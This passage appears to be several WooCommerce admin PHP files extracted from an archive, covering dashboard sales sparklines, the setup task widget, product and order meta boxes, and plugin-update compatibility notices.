			$start_date = gmdate( 'Y-m-01 00:00:00', current_time( 'timestamp' ) );
			$end_date   = gmdate( 'Y-m-d 23:59:59', current_time( 'timestamp' ) );
			$request->set_query_params(
				array(
					'before' => $end_date,
					'after'  => $start_date,
					'stats'  => 'revenue/total_sales,revenue/net_revenue,orders/orders_count,products/items_sold,variations/items_sold',
				)
			);
			$response = rest_do_request( $request );

			if ( is_wp_error( $response ) ) {
				return $response;
			}

			if ( 200 !== $response->get_status() ) {
				return new \WP_Error( 'woocommerce_analytics_performance_indicators_result_failed', __( 'Sorry, fetching performance indicators failed.', 'woocommerce' ) );
			}
			$report_keys      = array(
				'net_revenue' => 'net_sales',
			);
			$performance_data = new stdClass();
			foreach ( $response->get_data() as $indicator ) {
				if ( isset( $indicator['chart'] ) && isset( $indicator['value'] ) ) {
					$key                    = isset( $report_keys[ $indicator['chart'] ] ) ? $report_keys[ $indicator['chart'] ] : $indicator['chart'];
					$performance_data->$key = $indicator['value'];
				}
			}
			return $performance_data;
		}

		/**
		 * Overwrites the original sparkline to use the new reports data if WooAdmin is enabled.
		 * Prepares a sparkline to show sales in the last X days.
		 *
		 * @param  WC_Admin_Report $reports old class for getting reports.
		 * @param  bool            $is_wc_admin_disabled If WC Admin is disabled or not.
		 * @param  int             $id ID of the product to show. Blank to get all orders.
		 * @param  string          $type Type of sparkline to get. Ignored if ID is not set.
		 * @return string
		 */
		private function sales_sparkline( $reports, $is_wc_admin_disabled = false, $id = '', $type = 'sales' ) {
			$days = max( 7, gmdate( 'd', current_time( 'timestamp' ) ) );
			if ( $is_wc_admin_disabled ) {
				return $reports->sales_sparkline( $id, $days, $type );
			}
			$sales_endpoint = '/wc-analytics/reports/revenue/stats';
			$start_date     = gmdate( 'Y-m-d 00:00:00', current_time( 'timestamp' ) - ( ( $days - 1 ) * DAY_IN_SECONDS ) );
			$end_date       = gmdate( 'Y-m-d 23:59:59', current_time( 'timestamp' ) );
			$meta_key       = 'net_revenue';
			$params         = array(
				'order'    => 'asc',
				'interval' => 'day',
				'per_page' => 100,
				'before'   => $end_date,
				'after'    => $start_date,
			);
			if ( $id ) {
				$sales_endpoint     = '/wc-analytics/reports/products/stats';
				$meta_key           = ( 'sales' === $type ) ? 'net_revenue' : 'items_sold';
				$params['products'] = $id;
			}
			$request          = new \WP_REST_Request( 'GET', $sales_endpoint );
			$params['fields'] = array( $meta_key );
			$request->set_query_params( $params );

			$response = rest_do_request( $request );

			if ( is_wp_error( $response ) ) {
				return $response;
			}

			$resp_data = $response->get_data();
			$data      = $resp_data['intervals'];

			$sparkline_data = array();
			$total          = 0;
			foreach ( $data as $d ) {
				$total += $d['subtotals']->$meta_key;
				array_push( $sparkline_data, array( strval( strtotime( $d['interval'] ) * 1000 ), $d['subtotals']->$meta_key ) );
			}

			if ( 'sales' === $type ) {
				/* translators: 1: total income 2: days */
				$tooltip = sprintf( __( 'Sold %1$s worth in the last %2$d days', 'woocommerce' ), strip_tags( wc_price( $total ) ), $days );
			} else {
				/* translators: 1: total items sold 2: days */
				$tooltip = sprintf( _n( 'Sold %1$d item in the last %2$d days', 'Sold %1$d items in the last %2$d days', $total, 'woocommerce' ), $total, $days );
			}

			return '<span class="wc_sparkline ' . ( ( 'sales' === $type ) ? 'lines' : 'bars' ) . ' tips" data-color="#777" data-tip="' . esc_attr( $tooltip ) . '" data-barwidth="' . 60 * 60 * 16 * 1000 . '" data-sparkline="' . wc_esc_json( wp_json_encode( $sparkline_data ) ) . '"></span>';
		}
	}

endif;

return new WC_Admin_Dashboard();
PK�3\���II"class-wc-admin-dashboard-setup.phpnu�[���<?php
/**
 * Admin Dashboard - Setup
 *
 * @package     WooCommerce\Admin
 * @version     2.1.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

if ( ! class_exists( 'WC_Admin_Dashboard_Setup', false ) ) :

	/**
	 * WC_Admin_Dashboard_Setup Class.
	 */
	class WC_Admin_Dashboard_Setup {

		/**
		 * List of tasks.
		 *
		 * @var array
		 */
		private $tasks = array(
			'store_details'        => array(
				'completed'   => false,
				'button_link' => 'admin.php?page=wc-admin&path=%2Fsetup-wizard',
			),
			'products'             => array(
				'completed'   => false,
				'button_link' => 'admin.php?page=wc-admin&task=products',
			),
			'woocommerce-payments' => array(
				'completed'   => false,
				'button_link' => 'admin.php?page=wc-admin&path=%2Fpayments%2Fconnect',
			),
			'payments'             => array(
				'completed'   => false,
				'button_link' => 'admin.php?page=wc-admin&task=payments',
			),
			'tax'                  => array(
				'completed'   => false,
				'button_link' => 'admin.php?page=wc-admin&task=tax',
			),
			'shipping'             => array(
				'completed'   => false,
				'button_link' => 'admin.php?page=wc-admin&task=shipping',
			),
			'appearance'           => array(
				'completed'   => false,
				'button_link' => 'admin.php?page=wc-admin&task=appearance',
			),
		);

		/**
		 * # of completed tasks.
		 *
		 * @var int
		 */
		private $completed_tasks_count = 0;

		/**
		 * WC_Admin_Dashboard_Setup constructor.
		 */
		public function __construct() {
			if ( $this->should_display_widget() ) {
				$this->populate_general_tasks();
				$this->populate_payment_tasks();
				$this->completed_tasks_count = $this->get_completed_tasks_count();
				add_meta_box(
					'wc_admin_dashboard_setup',
					__( 'WooCommerce Setup', 'woocommerce' ),
					array( $this, 'render' ),
					'dashboard',
					'normal',
					'high'
				);
			}
		}

		/**
		 * Render meta box output.
		 */
		public function render() {
			$version = Constants::get_constant( 'WC_VERSION' );
			wp_enqueue_style( 'wc-dashboard-setup', WC()->plugin_url() . '/assets/css/dashboard-setup.css', array(), $version );

			$task = $this->get_next_task();
			if ( ! $task ) {
				return;
			}

			$button_link           = $task['button_link'];
			$completed_tasks_count = $this->completed_tasks_count;
			$tasks_count           = count( $this->tasks );

			// Given 'r' (circle element's r attr), dashoffset = ((100-$desired_percentage)/100) * PI * (r*2).
			$progress_percentage = ( $completed_tasks_count / $tasks_count ) * 100;
			$circle_r            = 6.5;
			$circle_dashoffset   = ( ( 100 - $progress_percentage ) / 100 ) * ( pi() * ( $circle_r * 2 ) );

			include __DIR__ . '/views/html-admin-dashboard-setup.php';
		}

		/**
		 * Populate tasks from the database.
		 */
		private function populate_general_tasks() {
			$tasks = get_option( 'woocommerce_task_list_tracked_completed_tasks', array() );
			foreach ( $tasks as $task ) {
				if ( isset( $this->tasks[ $task ] ) ) {
					$this->tasks[ $task ]['completed']   = true;
					$this->tasks[ $task ]['button_link'] = wc_admin_url( $this->tasks[ $task ]['button_link'] );
				}
			}
		}

		/**
		 * Getter for $tasks
		 *
		 * @return array
		 */
		public function get_tasks() {
			return $this->tasks;
		}

		/**
		 * Return # of completed tasks
		 */
		public function get_completed_tasks_count() {
			$completed_tasks = array_filter(
				$this->tasks,
				function( $task ) {
					return $task['completed'];
				}
			);

			return count( $completed_tasks );
		}

		/**
		 * Get the next task.
		 *
		 * @return array|null
		 */
		private function get_next_task() {
			foreach ( $this->get_tasks() as $task ) {
				if ( false === $task['completed'] ) {
					return $task;
				}
			}

			return null;
		}

		/**
		 * Check to see if we should display the widget
		 *
		 * @return bool
		 */
		private function should_display_widget() {
			return WC()->is_wc_admin_active() &&
				'yes' !== get_option( 'woocommerce_task_list_complete' ) &&
				'yes' !== get_option( 'woocommerce_task_list_hidden' );
		}

		/**
		 * Populate payment tasks's visibility and completion
		 */
		private function populate_payment_tasks() {
			$is_woo_payment_installed = is_plugin_active( 'woocommerce-payments/woocommerce-payments.php' );
			$country                  = explode( ':', get_option( 'woocommerce_default_country', 'US:CA' ) )[0];

			// woocommerce-payments requires its plugin activated and country must be US.
			if ( ! $is_woo_payment_installed || 'US' !== $country ) {
				unset( $this->tasks['woocommerce-payments'] );
			}

			// payments can't be used when woocommerce-payments exists and country is US.
			if ( $is_woo_payment_installed && 'US' === $country ) {
				unset( $this->tasks['payments'] );
			}

			if ( isset( $this->tasks['payments'] ) ) {
				$gateways                             = WC()->payment_gateways->get_available_payment_gateways();
				$enabled_gateways                     = array_filter(
					$gateways,
					function ( $gateway ) {
						return 'yes' === $gateway->enabled;
					}
				);
				$this->tasks['payments']['completed'] = ! empty( $enabled_gateways );
			}

			if ( isset( $this->tasks['woocommerce-payments'] ) ) {
				$wc_pay_is_connected = false;
				if ( class_exists( '\WC_Payments' ) ) {
					$wc_payments_gateway = \WC_Payments::get_gateway();
					$wc_pay_is_connected = method_exists( $wc_payments_gateway, 'is_connected' )
						? $wc_payments_gateway->is_connected()
						: false;
				}
				$this->tasks['woocommerce-payments']['completed'] = $wc_pay_is_connected;
			}
		}
	}

endif;

return new WC_Admin_Dashboard_Setup();
PK�3\"y�%�%class-wc-admin-meta-boxes.phpnu�[���<?php
/**
 * WooCommerce Meta Boxes
 *
 * Sets up the write panels used by products and orders (custom post types).
 *
 * @package WooCommerce\Admin\Meta Boxes
 */

use Automattic\Jetpack\Constants;

defined( 'ABSPATH' ) || exit;

/**
 * WC_Admin_Meta_Boxes.
 */
class WC_Admin_Meta_Boxes {

	/**
	 * Is meta boxes saved once?
	 *
	 * @var boolean
	 */
	private static $saved_meta_boxes = false;

	/**
	 * Meta box error messages.
	 *
	 * @var array
	 */
	public static $meta_box_errors = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'add_meta_boxes', array( $this, 'remove_meta_boxes' ), 10 );
		add_action( 'add_meta_boxes', array( $this, 'rename_meta_boxes' ), 20 );
		add_action( 'add_meta_boxes', array( $this, 'add_meta_boxes' ), 30 );
		add_action( 'save_post', array( $this, 'save_meta_boxes' ), 1, 2 );

		/**
		 * Save Order Meta Boxes.
		 *
		 * In order:
		 *      Save the order items.
		 *      Save the order totals.
		 *      Save the order downloads.
		 *      Save order data - also updates status and sends out admin emails if needed. Last to show latest data.
		 *      Save actions - sends out other emails. Last to show latest data.
		 */
		add_action( 'woocommerce_process_shop_order_meta', 'WC_Meta_Box_Order_Items::save', 10 );
		add_action( 'woocommerce_process_shop_order_meta', 'WC_Meta_Box_Order_Downloads::save', 30, 2 );
		add_action( 'woocommerce_process_shop_order_meta', 'WC_Meta_Box_Order_Data::save', 40 );
		add_action( 'woocommerce_process_shop_order_meta', 'WC_Meta_Box_Order_Actions::save', 50, 2 );

		// Save Product Meta Boxes.
		add_action( 'woocommerce_process_product_meta', 'WC_Meta_Box_Product_Data::save', 10, 2 );
		add_action( 'woocommerce_process_product_meta', 'WC_Meta_Box_Product_Images::save', 20, 2 );

		// Save Coupon Meta Boxes.
		add_action( 'woocommerce_process_shop_coupon_meta', 'WC_Meta_Box_Coupon_Data::save', 10, 2 );

		// Save Rating Meta Boxes.
		add_filter( 'wp_update_comment_data', 'WC_Meta_Box_Product_Reviews::save', 1 );

		// Error handling (for showing errors from meta boxes on next page load).
		add_action( 'admin_notices', array( $this, 'output_errors' ) );
		add_action( 'shutdown', array( $this, 'save_errors' ) );

		add_filter( 'theme_product_templates', array( $this, 'remove_block_templates' ), 10, 1 );
	}

	/**
	 * Add an error message.
	 *
	 * @param string $text Error to add.
	 */
	public static function add_error( $text ) {
		self::$meta_box_errors[] = $text;
	}

	/**
	 * Save errors to an option.
	 */
	public function save_errors() {
		update_option( 'woocommerce_meta_box_errors', self::$meta_box_errors );
	}

	/**
	 * Show any stored error messages.
	 */
	public function output_errors() {
		$errors = array_filter( (array) get_option( 'woocommerce_meta_box_errors' ) );

		if ( ! empty( $errors ) ) {

			echo '<div id="woocommerce_errors" class="error notice is-dismissible">';

			foreach ( $errors as $error ) {
				echo '<p>' . wp_kses_post( $error ) . '</p>';
			}

			echo '</div>';

			// Clear.
			delete_option( 'woocommerce_meta_box_errors' );
		}
	}

	/**
	 * Add WC Meta boxes.
	 */
	public function add_meta_boxes() {
		$screen    = get_current_screen();
		$screen_id = $screen ? $screen->id : '';

		// Products.
		add_meta_box( 'postexcerpt', __( 'Product short description', 'woocommerce' ), 'WC_Meta_Box_Product_Short_Description::output', 'product', 'normal' );
		add_meta_box( 'woocommerce-product-data', __( 'Product data', 'woocommerce' ), 'WC_Meta_Box_Product_Data::output', 'product', 'normal', 'high' );
		add_meta_box( 'woocommerce-product-images', __( 'Product gallery', 'woocommerce' ), 'WC_Meta_Box_Product_Images::output', 'product', 'side', 'low' );

		// Orders.
		foreach ( wc_get_order_types( 'order-meta-boxes' ) as $type ) {
			$order_type_object = get_post_type_object( $type );
			/* Translators: %s order type name. */
			add_meta_box( 'woocommerce-order-data', sprintf( __( '%s data', 'woocommerce' ), $order_type_object->labels->singular_name ), 'WC_Meta_Box_Order_Data::output', $type, 'normal', 'high' );
			add_meta_box( 'woocommerce-order-items', __( 'Items', 'woocommerce' ), 'WC_Meta_Box_Order_Items::output', $type, 'normal', 'high' );
			/* Translators: %s order type name. */
			add_meta_box( 'woocommerce-order-notes', sprintf( __( '%s notes', 'woocommerce' ), $order_type_object->labels->singular_name ), 'WC_Meta_Box_Order_Notes::output', $type, 'side', 'default' );
			add_meta_box( 'woocommerce-order-downloads', __( 'Downloadable product permissions', 'woocommerce' ) . wc_help_tip( __( 'Note: Permissions for order items will automatically be granted when the order status changes to processing/completed.', 'woocommerce' ) ), 'WC_Meta_Box_Order_Downloads::output', $type, 'normal', 'default' );
			/* Translators: %s order type name. */
			add_meta_box( 'woocommerce-order-actions', sprintf( __( '%s actions', 'woocommerce' ), $order_type_object->labels->singular_name ), 'WC_Meta_Box_Order_Actions::output', $type, 'side', 'high' );
		}

		// Coupons.
		add_meta_box( 'woocommerce-coupon-data', __( 'Coupon data', 'woocommerce' ), 'WC_Meta_Box_Coupon_Data::output', 'shop_coupon', 'normal', 'high' );

		// Comment rating.
		if ( 'comment' === $screen_id && isset( $_GET['c'] ) && metadata_exists( 'comment', wc_clean( wp_unslash( $_GET['c'] ) ), 'rating' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			add_meta_box( 'woocommerce-rating', __( 'Rating', 'woocommerce' ), 'WC_Meta_Box_Product_Reviews::output', 'comment', 'normal', 'high' );
		}
	}

	/**
	 * Remove bloat.
	 */
	public function remove_meta_boxes() {
		remove_meta_box( 'postexcerpt', 'product', 'normal' );
		remove_meta_box( 'product_shipping_classdiv', 'product', 'side' );
		remove_meta_box( 'commentsdiv', 'product', 'normal' );
		remove_meta_box( 'commentstatusdiv', 'product', 'side' );
		remove_meta_box( 'commentstatusdiv', 'product', 'normal' );
		remove_meta_box( 'woothemes-settings', 'shop_coupon', 'normal' );
		remove_meta_box( 'commentstatusdiv', 'shop_coupon', 'normal' );
		remove_meta_box( 'slugdiv', 'shop_coupon', 'normal' );

		foreach ( wc_get_order_types( 'order-meta-boxes' ) as $type ) {
			remove_meta_box( 'commentsdiv', $type, 'normal' );
			remove_meta_box( 'woothemes-settings', $type, 'normal' );
			remove_meta_box( 'commentstatusdiv', $type, 'normal' );
			remove_meta_box( 'slugdiv', $type, 'normal' );
			remove_meta_box( 'submitdiv', $type, 'side' );
		}
	}

	/**
	 * Rename core meta boxes.
	 */
	public function rename_meta_boxes() {
		global $post;

		// Comments/Reviews.
		if ( isset( $post ) && ( 'publish' === $post->post_status || 'private' === $post->post_status ) && post_type_supports( 'product', 'comments' ) ) {
			remove_meta_box( 'commentsdiv', 'product', 'normal' );
			add_meta_box( 'commentsdiv', __( 'Reviews', 'woocommerce' ), 'post_comment_meta_box', 'product', 'normal' );
		}
	}

	/**
	 * Check if we're saving, the trigger an action based on the post type.
	 *
	 * @param  int    $post_id Post ID.
	 * @param  object $post Post object.
	 */
	public function save_meta_boxes( $post_id, $post ) {
		$post_id = absint( $post_id );

		// $post_id and $post are required
		if ( empty( $post_id ) || empty( $post ) || self::$saved_meta_boxes ) {
			return;
		}

		// Dont' save meta boxes for revisions or autosaves.
		if ( Constants::is_true( 'DOING_AUTOSAVE' ) || is_int( wp_is_post_revision( $post ) ) || is_int( wp_is_post_autosave( $post ) ) ) {
			return;
		}

		// Check the nonce.
		if ( empty( $_POST['woocommerce_meta_nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['woocommerce_meta_nonce'] ), 'woocommerce_save_data' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			return;
		}

		// Check the post being saved == the $post_id to prevent triggering this call for other save_post events.
		if ( empty( $_POST['post_ID'] ) || absint( $_POST['post_ID'] ) !== $post_id ) {
			return;
		}

		// Check user has permission to edit.
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return;
		}

		// We need this save event to run once to avoid potential endless loops. This would have been perfect:
		// remove_action( current_filter(), __METHOD__ );
		// But cannot be used due to https://github.com/woocommerce/woocommerce/issues/6485
		// When that is patched in core we can use the above.
		self::$saved_meta_boxes = true;

		// Check the post type.
		if ( in_array( $post->post_type, wc_get_order_types( 'order-meta-boxes' ), true ) ) {
			do_action( 'woocommerce_process_shop_order_meta', $post_id, $post );
		} elseif ( in_array( $post->post_type, array( 'product', 'shop_coupon' ), true ) ) {
			do_action( 'woocommerce_process_' . $post->post_type . '_meta', $post_id, $post );
		}
	}

	/**
	 * Remove block-based templates from the list of available templates for products.
	 *
	 * @param string[] $templates Array of template header names keyed by the template file name.
	 *
	 * @return string[] Templates array excluding block-based templates.
	 */
	public function remove_block_templates( $templates ) {
		if ( count( $templates ) === 0 || ! function_exists( 'gutenberg_get_block_template' ) ) {
			return $templates;
		}

		$theme              = wp_get_theme()->get_stylesheet();
		$filtered_templates = array();

		foreach ( $templates as $template_key => $template_name ) {
			$gutenberg_template = gutenberg_get_block_template( $theme . '//' . $template_key );

			if ( ! $gutenberg_template ) {
				$filtered_templates[ $template_key ] = $template_name;
			}
		}

		return $filtered_templates;
	}
}

new WC_Admin_Meta_Boxes();
PK�3\��ql&&2plugin-updates/class-wc-plugins-screen-updates.phpnu�[���<?php
/**
 * Manages WooCommerce plugin updating on the Plugins screen.
 *
 * @package     WooCommerce\Admin
 * @version     3.2.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WC_Plugin_Updates' ) ) {
	include_once dirname( __FILE__ ) . '/class-wc-plugin-updates.php';
}

/**
 * Class WC_Plugins_Screen_Updates
 */
class WC_Plugins_Screen_Updates extends WC_Plugin_Updates {

	/**
	 * The upgrade notice shown inline.
	 *
	 * @var string
	 */
	protected $upgrade_notice = '';

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'in_plugin_update_message-woocommerce/woocommerce.php', array( $this, 'in_plugin_update_message' ), 10, 2 );
	}

	/**
	 * Show plugin changes on the plugins screen. Code adapted from W3 Total Cache.
	 *
	 * @param array    $args Unused parameter.
	 * @param stdClass $response Plugin update response.
	 */
	public function in_plugin_update_message( $args, $response ) {
		$version_type = Constants::get_constant( 'WC_SSR_PLUGIN_UPDATE_RELEASE_VERSION_TYPE' );
		if ( ! is_string( $version_type ) ) {
			$version_type = 'none';
		}

		$this->new_version            = $response->new_version;
		$this->upgrade_notice         = $this->get_upgrade_notice( $response->new_version );
		$this->major_untested_plugins = $this->get_untested_plugins( $response->new_version, $version_type );

		$current_version_parts = explode( '.', Constants::get_constant( 'WC_VERSION' ) );
		$new_version_parts     = explode( '.', $this->new_version );

		// If user has already moved to the minor version, we don't need to flag up anything.
		if ( version_compare( $current_version_parts[0] . '.' . $current_version_parts[1], $new_version_parts[0] . '.' . $new_version_parts[1], '=' ) ) {
			return;
		}

		if ( ! empty( $this->major_untested_plugins ) ) {
			$this->upgrade_notice .= $this->get_extensions_inline_warning_major();
		}

		if ( ! empty( $this->major_untested_plugins ) ) {
			$this->upgrade_notice .= $this->get_extensions_modal_warning();
			add_action( 'admin_print_footer_scripts', array( $this, 'plugin_screen_modal_js' ) );
		}

		echo apply_filters( 'woocommerce_in_plugin_update_message', $this->upgrade_notice ? '</p>' . wp_kses_post( $this->upgrade_notice ) . '<p class="dummy">' : '' ); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
	}

	/**
	 * Get the upgrade notice from WordPress.org.
	 *
	 * @param  string $version WooCommerce new version.
	 * @return string
	 */
	protected function get_upgrade_notice( $version ) {
		$transient_name = 'wc_upgrade_notice_' . $version;
		$upgrade_notice = get_transient( $transient_name );

		if ( false === $upgrade_notice ) {
			$response = wp_safe_remote_get( 'https://plugins.svn.wordpress.org/woocommerce/trunk/readme.txt' );

			if ( ! is_wp_error( $response ) && ! empty( $response['body'] ) ) {
				$upgrade_notice = $this->parse_update_notice( $response['body'], $version );
				set_transient( $transient_name, $upgrade_notice, DAY_IN_SECONDS );
			}
		}
		return $upgrade_notice;
	}

	/**
	 * Parse update notice from readme file.
	 *
	 * @param  string $content WooCommerce readme file content.
	 * @param  string $new_version WooCommerce new version.
	 * @return string
	 */
	private function parse_update_notice( $content, $new_version ) {
		$version_parts     = explode( '.', $new_version );
		$check_for_notices = array(
			$version_parts[0] . '.0', // Major.
			$version_parts[0] . '.0.0', // Major.
			$version_parts[0] . '.' . $version_parts[1], // Minor.
			$version_parts[0] . '.' . $version_parts[1] . '.' . $version_parts[2], // Patch.
		);
		$notice_regexp     = '~==\s*Upgrade Notice\s*==\s*=\s*(.*)\s*=(.*)(=\s*' . preg_quote( $new_version ) . '\s*=|$)~Uis';
		$upgrade_notice    = '';

		foreach ( $check_for_notices as $check_version ) {
			if ( version_compare( Constants::get_constant( 'WC_VERSION' ), $check_version, '>' ) ) {
				continue;
			}

			$matches = null;
			if ( preg_match( $notice_regexp, $content, $matches ) ) {
				$notices = (array) preg_split( '~[\r\n]+~', trim( $matches[2] ) );

				if ( version_compare( trim( $matches[1] ), $check_version, '=' ) ) {
					$upgrade_notice .= '<p class="wc_plugin_upgrade_notice">';

					foreach ( $notices as $index => $line ) {
						$upgrade_notice .= preg_replace( '~\[([^\]]*)\]\(([^\)]*)\)~', '<a href="${2}">${1}</a>', $line );
					}

					$upgrade_notice .= '</p>';
				}
				break;
			}
		}
		return wp_kses_post( $upgrade_notice );
	}

	/**
	 * JS for the modal window on the plugins screen.
	 */
	public function plugin_screen_modal_js() {
		?>
		<script>
			( function( $ ) {
				var $update_box = $( '#woocommerce-update' );
				var $update_link = $update_box.find('a.update-link').first();
				var update_url = $update_link.attr( 'href' );

				// Set up thickbox.
				$update_link.removeClass( 'update-link' );
				$update_link.addClass( 'wc-thickbox' );
				$update_link.attr( 'href', '#TB_inline?height=600&width=550&inlineId=wc_untested_extensions_modal' );

				// Trigger the update if the user accepts the modal's warning.
				$( '#wc_untested_extensions_modal .accept' ).on( 'click', function( evt ) {
					evt.preventDefault();
					tb_remove();
					$update_link.removeClass( 'wc-thickbox open-plugin-details-modal' );
					$update_link.addClass( 'update-link' );
					$update_link.attr( 'href', update_url );
					$update_link.trigger( 'click' );
				});

				$( '#wc_untested_extensions_modal .cancel' ).on( 'click', function( evt ) {
					evt.preventDefault();
					tb_remove();
				});
			})( jQuery );
		</script>
		<?php
		$this->generic_modal_js();
	}
}
new WC_Plugins_Screen_Updates();
PK�3\���Q882plugin-updates/class-wc-updates-screen-updates.phpnu�[���<?php
/**
 * Manages WooCommerce plugin updating on the Updates screen.
 *
 * @package     WooCommerce\Admin
 * @version     3.2.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WC_Plugin_Updates' ) ) {
	include_once dirname( __FILE__ ) . '/class-wc-plugin-updates.php';
}

/**
 * Class WC_Updates_Screen_Updates
 */
class WC_Updates_Screen_Updates extends WC_Plugin_Updates {

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'admin_print_footer_scripts', array( $this, 'update_screen_modal' ) );
	}

	/**
	 * Show a warning message on the upgrades screen if the user tries to upgrade and has untested plugins.
	 */
	public function update_screen_modal() {
		$updateable_plugins = get_plugin_updates();
		if ( empty( $updateable_plugins['woocommerce/woocommerce.php'] )
			|| empty( $updateable_plugins['woocommerce/woocommerce.php']->update )
			|| empty( $updateable_plugins['woocommerce/woocommerce.php']->update->new_version ) ) {
			return;
		}

		$version_type = Constants::get_constant( 'WC_SSR_PLUGIN_UPDATE_RELEASE_VERSION_TYPE' );
		if ( ! is_string( $version_type ) ) {
			$version_type = 'none';
		}

		$this->new_version            = wc_clean( $updateable_plugins['woocommerce/woocommerce.php']->update->new_version );
		$this->major_untested_plugins = $this->get_untested_plugins( $this->new_version, $version_type );

		if ( ! empty( $this->major_untested_plugins ) ) {
			echo $this->get_extensions_modal_warning(); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
			$this->update_screen_modal_js();
		}
	}

	/**
	 * JS for the modal window on the updates screen.
	 */
	protected function update_screen_modal_js() {
		?>
		<script>
			( function( $ ) {
				var modal_dismissed = false;

				// Show the modal if the WC upgrade checkbox is checked.
				var show_modal_if_checked = function() {
					if ( modal_dismissed ) {
						return;
					}
					var $checkbox = $( 'input[value="woocommerce/woocommerce.php"]' );
					if ( $checkbox.prop( 'checked' ) ) {
						$( '#wc-upgrade-warning' ).trigger( 'click' );
					}
				}

				$( '#plugins-select-all, input[value="woocommerce/woocommerce.php"]' ).on( 'change', function() {
					show_modal_if_checked();
				} );

				// Add a hidden thickbox link to use for bringing up the modal.
				$('body').append( '<a href="#TB_inline?height=600&width=550&inlineId=wc_untested_extensions_modal" class="wc-thickbox" id="wc-upgrade-warning" style="display:none"></a>' );

				// Don't show the modal again once it's been accepted.
				$( '#wc_untested_extensions_modal .accept' ).on( 'click', function( evt ) {
					evt.preventDefault();
					modal_dismissed = true;
					tb_remove();
				});

				// Uncheck the WC update checkbox if the modal is canceled.
				$( '#wc_untested_extensions_modal .cancel' ).on( 'click', function( evt ) {
					evt.preventDefault();
					$( 'input[value="woocommerce/woocommerce.php"]' ).prop( 'checked', false );
					tb_remove();
				});
			})( jQuery );
		</script>
		<?php
		$this->generic_modal_js();
	}
}
new WC_Updates_Screen_Updates();
PK�3\ȸ�}uu>plugin-updates/views/html-notice-untested-extensions-modal.phpnu�[���<?php
/**
 * Admin View: Notice - Untested extensions.
 *
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$untested_plugins_msg = sprintf(
	/* translators: %s: version number */
	__( 'The following active plugin(s) have not declared compatibility with WooCommerce %s yet and should be updated and examined further before you proceed:', 'woocommerce' ),
	$new_version
);

?>
<div id="wc_untested_extensions_modal">
	<div class="wc_untested_extensions_modal--content">
		<h1><?php esc_html_e( "Are you sure you're ready?", 'woocommerce' ); ?></h1>
		<div class="wc_plugin_upgrade_notice extensions_warning">
			<p><?php echo esc_html( $untested_plugins_msg ); ?></p>

			<div class="plugin-details-table-container">
				<table class="plugin-details-table" cellspacing="0">
					<thead>
						<tr>
							<th><?php esc_html_e( 'Plugin', 'woocommerce' ); ?></th>
							<th><?php esc_html_e( 'Tested up to WooCommerce version', 'woocommerce' ); ?></th>
						</tr>
					</thead>
					<tbody>
						<?php foreach ( $plugins as $plugin ) : ?>
							<tr>
								<td><?php echo esc_html( $plugin['Name'] ); ?></td>
								<td><?php echo esc_html( $plugin['WC tested up to'] ); ?></td>
							</tr>
						<?php endforeach ?>
					</tbody>
				</table>
			</div>

			<p><?php esc_html_e( 'We strongly recommend creating a backup of your site before updating.', 'woocommerce' ); ?> <a href="https://woocommerce.com/2017/05/create-use-backups-woocommerce/" target="_blank"><?php esc_html_e( 'Learn more', 'woocommerce' ); ?></a></p>

			<?php if ( current_user_can( 'update_plugins' ) ) : ?>
				<div class="actions">
					<a href="#" class="button button-secondary cancel"><?php esc_html_e( 'Cancel', 'woocommerce' ); ?></a>
					<a class="button button-primary accept" href="#"><?php esc_html_e( 'Update now', 'woocommerce' ); ?></a>
				</div>
			<?php endif ?>
		</div>
	</div>
</div>
PK�3\uޔ?plugin-updates/views/html-notice-untested-extensions-inline.phpnu�[���<?php
/**
 * Admin View: Notice - Untested extensions.
 *
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div class="wc_plugin_upgrade_notice extensions_warning <?php echo esc_attr( $upgrade_type ); ?>">
	<p><?php echo wp_kses_post( $message ); ?></p>

	<table class="plugin-details-table" cellspacing="0">
		<thead>
			<tr>
				<th><?php esc_html_e( 'Plugin', 'woocommerce' ); ?></th>
				<th><?php esc_html_e( 'Tested up to WooCommerce version', 'woocommerce' ); ?></th>
			</tr>
		</thead>
		<tbody>
			<?php foreach ( $plugins as $plugin ) : ?>
				<tr>
					<td><?php echo esc_html( $plugin['Name'] ); ?></td>
					<td><?php echo esc_html( $plugin['WC tested up to'] ); ?></td>
				</tr>
			<?php endforeach ?>
		</tbody>
	</table>
</div>
PK�3\�ECJ��*plugin-updates/class-wc-plugin-updates.phpnu�[���<?php
/**
 * Class for displaying plugin warning notifications and determining 3rd party plugin compatibility.
 *
 * @package     WooCommerce\Admin
 * @version     3.2.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Admin_Plugin_Updates Class.
 */
class WC_Plugin_Updates {

	/**
	 * This is the header used by extensions to show requirements.
	 *
	 * @var string
	 */
	const VERSION_REQUIRED_HEADER = 'WC requires at least';

	/**
	 * This is the header used by extensions to show testing.
	 *
	 * @var string
	 */
	const VERSION_TESTED_HEADER = 'WC tested up to';

	/**
	 * The version for the update to WooCommerce.
	 *
	 * @var string
	 */
	protected $new_version = '';

	/**
	 * Array of plugins lacking testing with the major version.
	 *
	 * @var array
	 */
	protected $major_untested_plugins = array();

	/**
	 * Common JS for initializing and managing thickbox-based modals.
	 */
	protected function generic_modal_js() {
		?>
		<script>
			( function( $ ) {
				// Initialize thickbox.
				tb_init( '.wc-thickbox' );

				var old_tb_position = false;

				// Make the WC thickboxes look good when opened.
				$( '.wc-thickbox' ).on( 'click', function( evt ) {
